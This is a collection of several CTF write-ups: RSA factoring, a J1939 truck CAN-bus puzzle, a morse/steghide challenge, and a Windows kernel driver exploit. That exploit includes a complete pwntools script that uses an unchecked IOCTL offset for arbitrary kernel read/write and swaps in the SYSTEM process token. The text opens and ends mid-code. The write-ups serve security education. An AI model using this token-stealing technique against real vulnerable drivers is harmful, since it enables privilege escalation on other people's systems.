15309200221723806616467815527508949449508016308667619503475045946652621652525992305168651560887284176353924931956269939787077811973514566176608684620809151397625885719537402839920369797647002257990605085738377504988859240254084164590957509486682488178961349129559926308115898888408809018423909717677181884526722126502322318455704911203649111381107113783748969172970323298774692322646329004904087523994990271905442581272126396627211570936941571392711592683960657204560162191971440131508850959242922017207256661353383453193118931908674343390887637124979355811285785638033429254835197971636826274879249886842048918432736, 15724182462935088662707915446655107878278152894209881300967803307334781347515606304746531472463196270125945780931765849147216669235630418637875694444778675771594247113061143844136107527843426140240070502431201960657331892635213118991405460668666027672294906783791441223090507736721265283630015340939375871798311963795515181453223204337362840111547002251197009848653679561190486710064616795228154486847718903419257804283649208020835219877286500226549440463845774258811597945314325403472598511132833259835975605936073505765246811661546643859844350550681749257518136665405784760339373876106842193544962035364141936283753, 16010598613006269242394494415481073404802885743759056303920374396389364406805008152009154054902831052653758678196829556029416363334310779301534650601102392985616360749664385284718557734612612334579643566581651102242306222193227111260448228193714693240481130347390382116855512299873569881326939972343314570039547897580924071328599722614389921295511670529095683738107704146361532800780429539031159556496976109863114080778133301779747597407525649360836980458868113543694436862963884485475906909931191611405995601484367864575876650055986787526037062685039522257827670426684466191523819658566267710796063797508503673575508, 16176225157815061780398885654620420828395273758161309313595904684794782916031471005382323856662285262373051339479066795020066992972796748770489374700029745240899106774349950323621974876991346899532267757945372794675963763211677154442477490480764334758589065403101041835380412036155680032278713692380636751799800174173937468277604554776759076686957635653867348211328058462563934841255845438021673179325752005903202195307236777237380608739528664802974483747876242106584283139484518385093456386588108230286642702223901374448669968747735244954159162896226605024555185352576619896951345620018917148886974802087005061112135, 16681188269653223654724315030136682210774552752554458086958468278548783168739866695726975896035811383412108751120213372631892032120642218357242947180926422406518062384144340315186804028028673285952917556435047990619394575021747680589947318197008430952647870055239411272055715760414079469566525762018667573302151696340104245475784099738670745323261117058044792751584716381734074389247651104965039208100878784761184187575420884985536037251587193757974760803271209026578181938823090178086385927565035063194430696540320842560908821318551920518079959829776767797371769064772564881430027427764161144068312324251665729488780, 17829658117323428808747868598742075440062137591346852189083905589271168845051505272630777599191830286419880652433509964145788364929611644511812576526573426916933568982874857304389571078641719134887390902234897633109911630620064342448365833021501305097046535685687516423128015236731938861706627775842928316810722656485753731575710818024516292222339926273882441860157758675960292785969030577768637311050941129992914285935037973635612973287046435622821551354639344767359753011162290622995439092970304336429989082391680592785895499607898534896211918901223135266662562647266007027360588113757029416715494934165222739616683, 18142530606909716062376251786389643324197492525662369626779351589827519710596398063341881492070698478957535529402981903035193439593816123316087575219925977686245766113691521350584328679759502382807285523704968935762596078425008178057360086647386696939735982650179504583840710564525731340265745482252714541820058727354731450644763797071558334414897585733667272516453556559972684675125516239673811780523512745567106915629379361310179451294037943334450423100411431081620714967277818090200519889910181746783471882899674667241036338987708997780333893361059800622713833148966642131905197255377905810743498001951198125311059, 18916874915493297936079891268802075451235734846035427583955430843324283662366324633202233385782932817340850020378986785716061936989209245162032573305936283861299211919092036584752926046345006676182392365941514696661367329055550272171753927543111392356350737216020653037731493630053105987250335352958368913760588484193482490045930904427197949983588313643868410274754829287237363788001109161904345279546393663787324578514084534019735002594130069819170331383328434044289905874038021158845855747798172165049208337121421852611456896877370705022828767867961460247191792131749388018583310316369606660652603473617620362220776, 19761531445789644550941649188821673088534370105097262343329866705687995865103813168376859916409080934942621503804632853819460640556129955518535485874638416201423297931706690054251711146751875933841075798086049232897482741510517534219163312537149829346821694199026849981873391746409094894635786418504655918594084378562506966684113615145069297495931332254115518216812302704944162971621215874347240778158691664956918543903100361085291794226778736356304744575442579466683011144983985184446648189753472950753969800901371318514176099102941183927711143295688852105189853285767981704534129685617787251540530767915253022947490, 20256094547551427361159536964089120192470579547856867798123148497076148597338094007239708853868154430044018965669548800520357708625488500840886524107263842898564620995651088843299156623903379275911887021467406220229809304913979273339544306605180744927202065302617395980949445708701034751035277692178613703611237789111970396029694552402613307432231659723290421165555788483472386785358943811922285121036435102796254087074468046006584551405865525781432291674627713381806461231003764884384009047079053403228562795215671383412031358781402019097452515349062662042796744413040430120541108838183559554461277378419187930920413, 20363523683403754850477941996268145873307803894978921710228462628146999736940222671129222862265160379946415684464747917659662321205107403115837157035374067466188228334375906081151411079001619437896818940656122691708169785711806055272700179185892964477917806030204206763229340531579796772278526520943763997401381029845705999036446407497831084737277684996161128395539244139220962069262836778956401801008041186706885436332324336681638085145485728737526432916392575653655187967807139187810035548902309557063161478464221501395056289134752409225031789805569864167180786090815982754846720197089740299363472750121282729340973, 20814912434079654358712994986655938285672355659172554521972448981339195273278087029468453535698010595236459533086499060463317723686547000241667857244712653564557545738168820338242942485233926997951781862259839493112100996378583435254659260667047548564231904421776634552680502559175487802626042304303449745827230709927179704869112666087937034760280611168221409540432787302943151703739428105219869226885922197133645265907625314478690899327851652074282189138427005746519010639537824886929608878348016360424645895051778822009871610495121610883214100573360743476671172464995366677557757239376079084722813893096016326823606, 20978978782083985514808414763592752188297832781732994978611517153950737776001188808668923478821417090172961435355822072526474663371493271175072308071960227368747274906534977118068778902399152185246696702689800010100729290250592141361416806610123159371068751278126481137723149743960233299432386251076215253444110113219693470037719585135531616598037376091905011497168565184564212550608338331996940342482386974738408168008861574665395721197042150006344988032346900944468633093984681022454475106597004968263850271320396630355903399323458669065574677651201990075334529713587085951400864385000308137999968746200082025015416, 21510393992991434219771555281382073811886457282216421285690979093137458508475954568419056773565332788894486275426908163637126421408657102596322971185031241956913463507854888295227362444328359266706872420059719619657069662925599952624262906407162386789979523361641558714567193670965811155805593371330497659154542639258412356476199441487088405118103359273682288473187622391831093531374603531951020860755898239699034003278466710154923269181470911166256665818879112416320538492976301262952831443514831107346725637206419870968005748691921100981160236843650083592044728031025798498262451919405184577923803192873012465402408, 21702370286383142896382980896421981414971906140748132749535149467159561579953330771029906461700411301795811236217402115596536451372996903939804016345835732303546870765245612262653631530944318690150045446899350265189274003884240988723566380751519278171721537440720211256644999794264781281823566708722358903968738834874217357352233640572984862487562571610283183746852625175244503706166323292070046358158579157876780137070957640130723554973407811810584917266738218587446647624045843454142231125439581659799761005303756629310091897520981148547565077534090671712715361212723249781422387730181374938558849132220687101010195]
from string import punctuation
possiblechars = []for i in range(26): possiblechars.append(chr(ord('a') + i))for i in range(26): possiblechars.append(chr(ord('A') + i))for i in range(10): possiblechars.append(str(i))
'''possiblechars.append('_')possiblechars.append('!')possiblechars.append('?')'''for i in punctuation: possiblechars.append(i)
adj = dict()for i in range(len(clues)): print(i) for j in range(len(possiblechars)): jchar = possiblechars[j] for k in range(j, len(possiblechars)): kchar = possiblechars[k] c1 = pow(ord(jchar), e, N) c2 = pow(ord(kchar), e, N) if c1 * c2 % N == clues[i]: if jchar not in adj: adj[jchar] = [] if kchar not in adj: adj[kchar] = [] adj[jchar].append(kchar) adj[kchar].append(jchar) print(jchar, kchar)
m = 'TSGCTF{'for i in range(len(m)): if i > 0: adj[m[i]].remove(m[i - 1]) if i < len(m) - 1: adj[m[i]].remove(m[i + 1])
print(adj)``` |
# Misc - Devil (7 solves / 477 points)
## Write-up :Just so you know, we'll be going through two different paths to solve this challenge : the (more or less) intended one that I couldn't find and the one I went through during the competition, more interesting but also clearly less straightforward (fully manual)... Let's dive into it by starting with the steps they've in common.
### Common steps :The challenge description talks about a network protocol that is used by heavy trucks. When looking at the link provided in the description, we can identify this protocol as **SAE J1939**. It's a higher-layer protocol base on **Controller Area Network (CAN)** and its main functions are communication and diagnostics among vehicle components which could be interesting since the information we're looking for to solve this challenge is "the high resolution maximum speed *a truck* **can be** driven". We've also at our disposal an address and a port we can contact so let's do it to see what input we have to solve our problem. The data keep coming for more than a minute before it asks for the answer we talked about earlier. The link between this data and the protocol we found is obvious and by looking deeper into the link we've been given, we can find a useful tool that can be used to translate this kind of data into actual information coming from the various parts, microcontrollers and sensors of the involved truck : <label>https://github.com/nmfta-repo/pretty_j1939</label>It seems a bit too easy but let's see what we can get from this tool :
<label>https://github.com/nmfta-repo/pretty_j1939</label>
- 1. Capture the CAN data :
- 2. Clone the pretty_1939 tool's repo :
- 3. Extract the data from our capture :
As expected, we don't have our answer yet. It seems like it did parse our data but it couldn't identify them, decode them or put them in relation to actual data so we must have missed something. After looking more at the description of the tool, we can see that we need to fill the database to parse and identify successfully our data and to do that, there is actually a python module that exists but it needs the **Official J1939 Digital Annex** from the SAE that costs like 200$ so that's clearly not the way to go.
At this point, I've tried to find the annex somewhere else or to try to find an already built database from other tools but no luck. All I found was an old database that didn't include the information we needed and it also lacked some information to work correctly with *pretty_j1939*. From there, the road is splitting itself into two so let's have a look at the first option we have.
### The (more or less) intended way :
Until now, we haven't been able to find the right database even though we've searched a long time on Google, checked a lot of articles and Github repositories but no luck. However, there is still something that we didn't use but that could be important, the title of the challenge : **devil**. At first sight, it has nothing to do with any of what we've been working on since the beginning so why would the author name his challenge like that ?... Yeah you thought about a hint too, right ? So, time to check that assumption with our friend Google and here we are, a new Github repository that has *devil* in its name and is about J1939 protocol :
Apparently, we can't extract data from a capture directly by using this framework but it seems like they have an already filled database that we could use. Let's first check quickly our empty database so that we know what information we are looking for :
**Note :** *It was actually possible to use TruckDevil in combination to another tool that would have replayed our capture but since I didn't explore this option myself and it is already documented elsewhere, I decided to let this writeup as it is, guiding you through other ways even if they are less straightforward.*
Since *pretty_j1939* is using json file as its database, that's what we'll be looking for first in the *TruckDevil* repository and there it is, everything we need :
Now, you can just fill the database of *pretty_j1939* using the files listed above but in case you just want to check the result quickly without making any effort, I'll also include the database in this repo. There were some basic compatibility issues with the data to fix in order to be able to use it with *pretty_j1939*. The first one was an empty SPN entry and the second one was a difference of naming for PGN's labels. Once this is fixed, it's time to re-run the tool and admire the magic :
We now have successfully extracted the various information from our capture so it's the moment to look for the only value that is actually interesting for us : **"High resolution Maximum Speed"**. For some reasons, the tool doesn't provide us the values directly but it might be just that I don't know how to use it. Anyways, we're close enough to conclude this manually. By searching through our database, we can find a parameter that seems relevant to our challenge :
We have a few important information here :- The **PGN (65261)** will be useful to locate our information from the results- Each PGN is associatied with multiple SPN that are individual parameters and each of them occupy one or more bytes of data so here, the parameter *bitPositionStart* is important to locate the right value among the others- *spnLength* tells us that our value is **2-bytes long**- The unit is **km/h** which is what we're looking for but the *resolutionNumerator* and the *resolutionDenominator* are very important since they'll be giving us the right the scale so whatever our result will be, we'll have to multiply it by **0.00390625**.
Let's use this information to analyze our results :
From the documentation or various articles, you can determine that the actual values of each piece of information are contained in the last part `6868309C68FFFFFF` and as we've seen it in the list above, the only 2 bytes that interest us are `9C68`. You might not think about it directly which is normal but you can find plenty of ways to find that this value is in little-endian, meaning that it should be read from the right to the left, byte by byte, which gives us `0x689c = 26780 --> 26780*0.00390625 = 104.609375 km/h`. (We will see in the second way to solve this chall how we could have find about the endianness)
It's now time to check if our solution is right or if something went wrong somewhere :
Congrat's on reading this far, we've got our flag : `buckeye{vr0000m_vr0000m_vr000000m}`
### The way I followed (fully manual) :**Note :** *This is clearly not the most straightforward way to solve this and you might identify some redundancy but I wanted to describe faithfully the path I've followed during the competition.*
If you've read the previous section, remember that at this point we were looking for a database to use and we found it thanks to the *TruckDevil* repository but unfortunately, I wasn't able to find this during the competition. I've literally done all the possible search on Google by using all the potential combinations of *devil* and any keyword related to this challenge such as *j1939*, *isobus*, *can protocol*, *truck*... and I even combine those with Google's tricks such as `site:github.com` to focus only the results from *github.com* since I was expecting another tool or a database repository of some sort but nothing... As you can see, the repository that should be in the first results actually never showed up for me. I've tried every possible kind of combinations and I went through many Google pages but nothing... For some reasons, I couldn't find the Github repository so I had to find another way to solve this.
Among all these results, I've found something useful : the [ISOBUS 11783 Online Data Base](https://isobus.net). **ISOBUS 11783** is a communication protocol for the agricultural sector that is **based on the SAE J1939 specification**. Therefore, it has a lot in common with the protocol we've been investigating on since the beginning and the good news is that this website includes the list of the parameters and data that it is supported by this protocol and their associated PGN/SPN. I won't go here into to much details about how the protocol works or what are PGN and SPN but if you're interested in understanding what you're reading about, you can start with this link [Intro to J1939](https://www.csselectronics.com/pages/j1939-explained-simple-intro-tutorial).
Let's have a look to the SPN list to try to find a parameter that would match the information we're looking for, let's start with a search with the keyword `speed` : As you can see in the top right corner, there are almost 400 hundred parameters about speed so before we've to look at every one of them, let's try another research. As we know we're looking a "High Resolution" value of a parameter, let's see if we can limit the number of results by looking at these specific parameters only : We are now down to 49 parameters only and it seems like we've found something interesting : **Maximum Vehicle Speed Limit (High Resolution)**. The question we've seen in the description of the challenge was : "What is the high resolution maximum speed this truck **can be driven** ?" which actually makes perfect sense with a maximum vehicle speed **limit**. We now know that we're looking for the `SPN 6808` and if we click on it, we can see it's associated with the `PGN 65261` : Now, if we comeback to our prettified capture, we can see that this PGN appears 5 times in the capture, with the same value so we can pick any of those... ...but the question is, what do we do next ? How to extract manually the information we're looking for from this data ? I've found a preliminary answer on this article that I've summarized below with an example from our case what I've learned there and that could be useful to us : Now, we need to find which bytes belong to our SPN and to do that, I went through so many pages on Google... You know all these result pages that usually, no one ever look at... These poor pages that no one ever care about... Well, for once, I've decide to give them some credit and they reciprocated with two different websites. From the first website (can't retrieve the link, sorry), I've been able to get these details : Unfortunately, as you might have seen it, our SPN isn't here. The version of the protocol described in this document was too old but we still have interesting information. For instance, we can see that the first byte of the SPN values is actually also the maximum vehicle speed limit but in a lower resolution than the one we're looking for. However, this is still valuable as it can give us an idea of the value we are looking so that we can avoid some basic errors (wrong endianness, wrong unit etc). This gives us the following in our case : (we don't know the unit but looking at the value, km/h would make sense as it doesn't just look reasonable but it's also the unit we're aiming at for the final answer) From there and thanks to all the other websites, articles and documentation I've read during the CTF, it was clear that the two bytes `9C68` were the two bytes we are interesting in from the SPN values `6868309C68FFFFFF`. My reasoning here is that the three first bytes, as we've seen it above, are used by three other "regular" SPN and `FF` bytes seem to be used sometimes as placeholder for future parameters and they clearly don't like a real value that could be of interest for us. Finally, the reason I think that our SPN uses two bytes and not only one like the three others is because its value is in `High Resolution` and all the other parameters in high resolution I've seen in the documentation were also using two bytes with a different unit so it can add more precision to the value. We can already convert this from hexadecimal to a decimal value, without forgetting about the endianness, and it gives us the following : `0x689c = 26780`. Mmmh ok, that's nice but we clearly needs one more information to be able to use this value... What unit is that ?!
To answer this question, if you remember, I talked to you about **two** websites earlier and that's the moment where the second one comes into play with the following details : <label><div align="center">pdfcoffee.com_j1939daserial-control-module-2019xls-pdf-free.pdf</div></label>First of all, it confirms us that we were right about expecting the SPN 6808 to be 2-bytes long and then, the **Graal** (or just "unit" depending how long you've been looking for this) is right next to that information. We can now convert the value we just found : `26780 / 256 = 104.609375 km/h`
To answer this question, if you remember, I talked to you about **two** websites earlier and that's the moment where the second one comes into play with the following details :
<label><div align="center">pdfcoffee.com_j1939daserial-control-module-2019xls-pdf-free.pdf</div></label>
WE NOW HAVE OUR FINAL ANSWER !! Congratulations for reading **this** far, only true ones could have done it !! ?
It's time to claim our prize :
At the end of this path, we've got our flag too : `buckeye{vr0000m_vr0000m_vr000000m}` ? !
|
**Task:**Break the RSA-2048 cryptosystem, where `p` is a string prime and `q` is computed from `p` by complicated function:
```from Crypto.Util.number import isPrime, getStrongPrimefrom math import isqrt, sin, ceilfrom secrets import flag
def f(p): return isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023
while True: p = getStrongPrime(1024) if p < 2**1023: continue q = f(p) if isPrime(q): break
N = p * qe = 0x10001m = int.from_bytes(flag, 'big')c = pow(m, e, N)
print(f'N = {N}')print(f'c = {c}')```
**Solution:**
* `q` is computed as `f(p)` and verified if it is prime, where * `f(p) = isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023` **Approach 1**:* `f(p)` is an increasing function, so `p*f(p)` is increasing function, too* we can use binary search to find the correct value of `p`, which satisfies the condition `p*f(p) == N`
**Approach 2*** `f(p)` is almost `isqrt((p+2**511)**2) + 2 **1024` * it turns out that for big `p > 2**1023` holds: * `f(p) = p + 2**1023 + 2**511 - 2**2`* now let `q = p + a`, then `p**2 + a*p - N = 0` * roots of quadratic equation: * `p = (isqrt(a**2 + 4*N)-a) / 2` **Python solver:**
```from math import isqrt
N = 36517404305297844159564250986998364545749151568667732337564141796428285198409567155495468780386611544242689580089026301007867731616501462571857014948329304677585682534513311931280592743677919741211277066420279973665839898693462080087384474270473468411814863104608060945012301810206919347219744349831947632420533489933798065496290612931089442978868423837068735855183319271953531607892676482508704408482509645764820088854762889436761417245871075875762331247987854763068633058894469255779600684845456979405817748289218533715177711802661303055514957438072072036882111277967476497338901040854808789173453802590826788192053c = 10955441460830702971387335888341162305090757526159743008807609823673521696863955454033040842132899414049783504960968117620860408142538216669369693386110678382112863315608217382774969191050306778748875856817288367369848881561750362221050586276876239956129985854245190619132772579774800480316624847309710595491090120189333272498817039509311650265968036568364234815921263181086438290844976279974023236010641698308664245573159698211860696725554580817928576304048869309097043078452170158082597167199813821750238244173483019805092246803337196768846732908994751887507198151471659940647272634351206676375579258509003076141110e = 0x10001
a = 2**1023 + 2**511 - 2**2p = (isqrt(a**2+4*N)-a)>>1q = p + ad = pow(e, -1, (p-1)*(q-1))m = pow(c, d, N)print(m.to_bytes((m.bit_length()-1)//8 + 1, 'big'))```
* flag: `TSGCTF{From which angle did you solve this, binary search or convergence of f(p)-p?}` |
---title: "cccamp23 pwn/SecureStorageDriver"publishDate: "18 Aug 2023"description: "Author: es3n1n"tags: ["pwn", "windows", "kernel", "cccamp23"]---
## DescriptionSecure Storage Driver [481] \Category: Pwn \Difficulty: Medium \Author: Kolja, 0x4d5a \First Blood: cr3.mov \Solved By: cr3.mov, thehackerscrew
We implemented a driver to securely store our data in kernel space away from prying eyes. What could go wrong?
## Overview
As soon as we unzip the provided files for the challenge we see that this task consists of the 7 files:
### Contained files
* appjaillauncher-rs.exe* key.txt - A text file that contains the flag* start.bat - Challenge starter* KernelPwn_Exploit.exe - The user-mode part of the challenge* ntoskrnl.exe - One of the core window kernel files, it provided for the same reason why people are providing libc copies for the * KernelPwn.sys - The main driver that we're going to rev* KernelPwn.pdb - Debug symbols for the kernel part of this challenge
As we could immediately spot, we need to pwn a Windows kernel driver, so without further interruptions let's start poking with the KernelPwn.sys
## Analyzing user-mode part
The user-mode part of this task is the one that we can interact with, i don't want to go into much detail about how it worked, but here's a quick overview.
We clearly see that there are 3 types of things that we can do.```cpp sub_140001020( "[+] Options:\n" "1) Write to secure storage at a specified offset\n" "2) Read from secure storage at specified offset\n" "3) Read flag (privileged opertion only!)\n" "4) Quit\n"); sub_140001020("[+] Please choose an option\n");```
##### Write to secure storage at specified offset* Prompting for an u64 offset* Prompting for an u64 value that it's going to write* Sending IOCTL to the driver
##### Read from secure storage at specified offset* Prompting for an u64 offset* Sending IOCTL to the driver* Printing the u64 value that it read
##### Read flag (privileged operation only!)* Reads from the key.txt our flag and prints it, the catch here is that we don't have permission to open this file
#### ConclusionSo what it's doing is just sending IOCTLs to the driver with the options that we choose, knowing that we could pass a custom offset and values we already can guess that we would need to exploit some kernel BOF to read/write from/to addresses that we want, easy enough.
## Analyzing kernel mode part
#### DriverEntry
We load up the driver in ida and take a look at the DriverEntry function:
```cpp__int64 __fastcall DriverEntry(_DRIVER_OBJECT *DriverObject, _UNICODE_STRING *RegistryPath){ NTSTATUS v3; // [rsp+40h] [rbp-18h] NTSTATUS SymbolicLink; // [rsp+40h] [rbp-18h] PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-10h] BYREF
DbgPrint_0("[+] PwnDriver was loaded\n"); secret_store = ExAllocatePool2(0x40i64, 0x48i64, 'Node'); if ( !secret_store ) return 1i64; *(_QWORD *)(secret_store + 64) = secret_store; DriverObject->DriverUnload = DriverCleanup; DriverObject->MajorFunction[0] = CreateClose; DriverObject->MajorFunction[2] = CreateClose; DriverObject->MajorFunction[14] = DeviceControl; v3 = IoCreateDevice(DriverObject, 0, &deviceName, 0x22u, 0, 0, &DeviceObject); if ( v3 >= 0 ) { SymbolicLink = IoCreateSymbolicLink(&symlink, &deviceName); if ( SymbolicLink >= 0 ) { return 0i64; } else { _mm_lfence(); DbgPrint_0("[!] Failed to create symlink (0x%08X)\n", (unsigned int)SymbolicLink); IoDeleteDevice(DeviceObject); return (unsigned int)SymbolicLink; } } else { _mm_lfence(); DbgPrint_0("[!] Failed to create Device Object (0x%08X)\n", (unsigned int)v3); return (unsigned int)v3; }}```
The most interesting part for us is
* It's allocating a pool that it would use later in the code* Writing the pool address to the pool+64
#### IRP_MJ_CONTROL
When we are looking at the DeviceControl function we clearly see 2 types of ioctls:
```cpp__int64 __fastcall DeviceControl(_DEVICE_OBJECT *DeviceObject, _IRP *Irp){ unsigned int v3; // [rsp+20h] [rbp-48h] __int64 LowPart; // [rsp+24h] [rbp-44h] _NAMED_PIPE_CREATE_PARAMETERS *v5; // [rsp+28h] [rbp-40h] _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // [rsp+28h] [rbp-40h] _IO_STACK_LOCATION *CurrentIrpStackLocation; // [rsp+30h] [rbp-38h] unsigned __int64 offset; // [rsp+38h] [rbp-30h] unsigned __int64 offseta; // [rsp+38h] [rbp-30h] _QWORD *UserBuffer; // [rsp+40h] [rbp-28h] unsigned __int64 value; // [rsp+48h] [rbp-20h] unsigned __int64 v12; // [rsp+50h] [rbp-18h]
CurrentIrpStackLocation = IoGetCurrentIrpStackLocation(Irp); v3 = 0; v12 = 0i64; LowPart = CurrentIrpStackLocation->Parameters.Read.ByteOffset.LowPart; if ( (_DWORD)LowPart != 0x80002003 ) { if ( (_DWORD)LowPart != 0x80002007 ) { v3 = -1073741808; DbgPrint_0("[!] STATUS_INVALID_DEVICE_REQUEST\n"); goto LABEL_16; } DbgPrint_0("[+] PWNDRIVER_IOCTL_WRITE called\n"); if ( CurrentIrpStackLocation->Parameters.Create.Options >= 0x10ui64 ) { Parameters = CurrentIrpStackLocation->Parameters.CreatePipe.Parameters; if ( Parameters ) { offseta = *(_QWORD *)&Parameters->NamedPipeType; DbgPrint_0("[+] Offset: %llu\n", *(_QWORD *)&Parameters->NamedPipeType); value = *(_QWORD *)&Parameters->CompletionMode; DbgPrint_0("[+] value: %llu\n", value); WriteEntry(offseta, value); goto LABEL_16; } goto LABEL_7; }LABEL_5: v3 = -1073741789; DbgPrint_0("[-] STATUS_BUFFER_TOO_SMALL\n"); goto LABEL_16; } DbgPrint_0("[+] PWNDRIVER_IOCTL_READ called\n"); if ( CurrentIrpStackLocation->Parameters.Create.Options < 0x10ui64 ) goto LABEL_5; v5 = CurrentIrpStackLocation->Parameters.CreatePipe.Parameters; if ( !v5 ) {LABEL_7: v3 = 0xC000000D; DbgPrint_0("[-] STATUS_INVALID_PARAMETER\n"); goto LABEL_16; } offset = *(_QWORD *)&v5->NamedPipeType; DbgPrint_0("[+] Offset: %llu\n", *(_QWORD *)&v5->NamedPipeType); if ( CurrentIrpStackLocation->Parameters.Read.Length >= 8ui64 ) { UserBuffer = Irp->UserBuffer; if ( UserBuffer ) { *UserBuffer = ReadEntry(offset); v12 = 8i64; } else { v3 = 0xC000000D; DbgPrint_0("[!] STATUS_INVALID_PARAMETER\n"); } } else { v3 = 0xC0000023; DbgPrint_0("[!] STATUS_BUFFER_TOO_SMALL\n"); }LABEL_16: Irp->IoStatus.Status = v3; Irp->IoStatus.Information = v12; IofCompleteRequest(Irp, 0); return v3;}```
##### PWNDRIVER_IOCTL_WRITE* Takes 2 u64 values (offset, value)* Debug printing these two values* Calls the WriteEntry function with these values
```cppvoid __fastcall WriteEntry(unsigned __int64 offset, unsigned __int64 value){ *(_QWORD *)(secret_store + 8 * offset) = value;}```
##### PWNDRIVER_IOCTL_READ* Takes 1 u64 value (offset)* Debug printing this value* Calls the ReadEntry function with this value
```cppunsigned __int64 __fastcall ReadEntry(unsigned __int64 offset){ return *(_QWORD *)(secret_store + 8 * offset);}```
#### Conclusion
As we clearly see there are no checks for the entry offsets, which means that we could provide any data we want and read/write at any offsets from the allocated pool we want.
## Exploit idea
The game plan here is that we are going to:
* Obtain the kernel base (that it prints for us)
* Obtain the process id (that it prints for us too)
* Read the EPROCESS of any system process that has privileged permissions(i.e read any file it wants)
* Find the EPROCESS of our process
* Swap the EPROCESS Token in our process with the systems one
## Implementation
For the kernel base and process id we just need to read the input that the app is sending us
```pykernel_base = int(io.recvline().decode().split(': ')[1], 16)process_id: int = int(io.recvline().decode().split(': ')[1])```
For the write/read functions we would need to pass an offset from the allocated pool and the kernel part would automatically multiply this value by 8, so we should account for it in our calculations. \To make my life a bit easier i made these utils to interact with the user-mode challenge part
```pydef skip_options(): io.recvuntil(b'an option\r\n')
def read_at(off: int) -> int: assert(off % 8 == 0)
io.sendline(b'2') io.recvline() io.sendline(str(off // 8).encode()) io.recvline() io.recvline() v = int(io.recvline().decode().split('ead ')[1].strip())
skip_options() return v
def write_to(off: int, val: int) -> None: assert(off % 8 == 0)
io.sendline(b'1') io.recvline() io.sendline(str(off // 8).encode()) io.recvline() io.sendline(str(val).encode()) io.recvline() io.recvline()
skip_options()```
There's nothing really fancy, it only converts our offsets to the indexes that the km part would eventually convert to offsets by itself.
Now in order to account for the allocated pool address in our calculations we first need to know its address, and luckily for us the driver has saved the pool base at (pool + 64), so we can just read this value and thus we would leak the pool address.
```pysecret_store_base: int = read_at(64)```
I also made these utils that automatically convert virtual kernel addresses to the offsets from our pool and write/reads from this address.
```pydef read_at_va(va: int) -> int: return read_at(va - secret_store_base)
def write_to_va(va: int, val: int) -> None: write_to(va - secret_store_base, val)```
In order to obtain the eprocess address of some of the system processes we could just use PsInitialSystemProcess export from ntoskrnl that we have on our hands.
```pyPsInitialSystemProcess_off = 0xD107E0PsInitialSystemProcess = read_at_va(kernel_base + PsInitialSystemProcess_off)```
We also need to find our process' eprocess. \In order to achieve that we can iterate over the ActiveProcessLinks of the system process, because this process is going to be the root system process that every other process inherits.
```pyActiveProcessLinks_off = 0x448Pid_off = 0x440
def get_process(tgt_pid: int) -> int: links = PsInitialSystemProcess + ActiveProcessLinks_off head = links
while True: links = read_at_va(links + 8) print('[*] links', hex(links))
if links == head: print('[!] LINKS == HEAD') break
eprocess = links - ActiveProcessLinks_off print('[*] eprocess', hex(eprocess))
pid = read_at_va(eprocess + Pid_off) if pid != tgt_pid: continue
return eprocess
return 0
target_eprocess = get_process(process_id)```
And at this point, we're almost ready to read the flag content, the only thing we need to do is overwrite the Token value from our eprocess with the token value from the system process.
```pysystem_token = read_at_va(PsInitialSystemProcess + Token_off)write_to_va(target_eprocess + Token_off, system_token)```
Then we just read the flag and we're done.```pyio.sendline(b'3')io.interactive()```
## solve.py
```pyfrom pwn import *
io = remote('xx.xx.xxx.xx', 4444)
kernel_base = int(io.recvline().decode().split(': ')[1], 16)process_id: int = int(io.recvline().decode().split(': ')[1])
print('[*] kernel_base:', hex(kernel_base))print('[*] pid', process_id)
def skip_options(): io.recvuntil(b'an option\r\n')
def read_at(off: int) -> int: assert(off % 8 == 0)
io.sendline(b'2') io.recvline() io.sendline(str(off // 8).encode()) io.recvline() io.recvline() v = int(io.recvline().decode().split('ead ')[1].strip())
skip_options() return v
def write_to(off: int, val: int) -> None: assert(off % 8 == 0)
io.sendline(b'1') io.recvline() io.sendline(str(off // 8).encode()) io.recvline() io.sendline(str(val).encode()) io.recvline() io.recvline()
skip_options()
skip_options()secret_store_base: int = read_at(64)print('[*] secret_store_base', hex(secret_store_base))
def read_at_va(va: int) -> int: return read_at(va - secret_store_base)
def write_to_va(va: int, val: int) -> None: write_to(va - secret_store_base, val)
kernel_offset = kernel_base - secret_store_baseprint('[*] kernel_offset @', hex(kernel_offset))
print('[*] ok we are ready')
PsInitialSystemProcess_off = 0xD107E0ActiveProcessLinks_off = 0x448Token_off = 0x4b8Pid_off = 0x440
PsInitialSystemProcess = read_at_va(kernel_base + PsInitialSystemProcess_off)print('[*] [PsInitialSystemProcess] ->', hex(PsInitialSystemProcess))
system_token = read_at_va(PsInitialSystemProcess + Token_off)print('[*] system_token', hex(system_token))
def get_process(tgt_pid: int) -> int: links = PsInitialSystemProcess + ActiveProcessLinks_off head = links
while True: links = read_at_va(links + 8) print('[*] links', hex(links))
if links == head: print('[!] LINKS == HEAD') break
eprocess = links - ActiveProcessLinks_off print('[*] eprocess', hex(eprocess))
pid = read_at_va(eprocess + Pid_off) if pid != tgt_pid: continue
return eprocess
return 0
target_eprocess = get_process(process_id)print('[*] target_eprocess', hex(target_eprocess))
print('[*] overwriting token *crossed fingers*')write_to_va(target_eprocess + Token_off, system_token)
print('[*] reading the flag')io.sendline(b'3')io.interactive()```
## Flag
Left as an exercise for the reader (i forgot to save it) |
-----
Listening to the wav file, we instantly hear it is morse code, so heading to a typical morse decoder such as at [morsecode.world](https://morsecode.world/international/decoder/audio-decoder-adaptive.html) we decode the wav file to be: **G I V E M E T H E F L A G L O L**
Now to take on board the hint in the challenge: “read everything carefully”, the wav file is called LOLisCapatlized.wav, so it hints the morse we decoded should actually be **givemetheflagLOL**, with LOL capitalized. Using this as a password with steghide on the image STEG_O_SAURS.jpeg gives us the following:UDCTF{01111001 01000000 01010101 01011111 01100011 01000001 01011110 01101110 01011111 01101000 00100001 01100100 00110011 00111111 01011111 01101100 01001111 01101100 01011111 01110011 01010100 00110011 01000111 01101111}
Which when converted from binary with Cyberchef gives us our flag: **UDCTF{y@UcA^nh!d3?lOlsT3Go}** |
# Natural Flag Processing 2
The goal of this challenge is to reverse a custom Transformer that check a flag.By interpreting results from the attention layer, we can incrementally determine the flag character by character.
Solver Script:```pythonimport mathimport string
import torchfrom torch import nn, Tensorimport torch.nn.functional as F
FLAG_LEN = 43FLAG_CHARS = string.ascii_letters + string.digits + "{}-"CHARS = "^$" + FLAG_CHARS
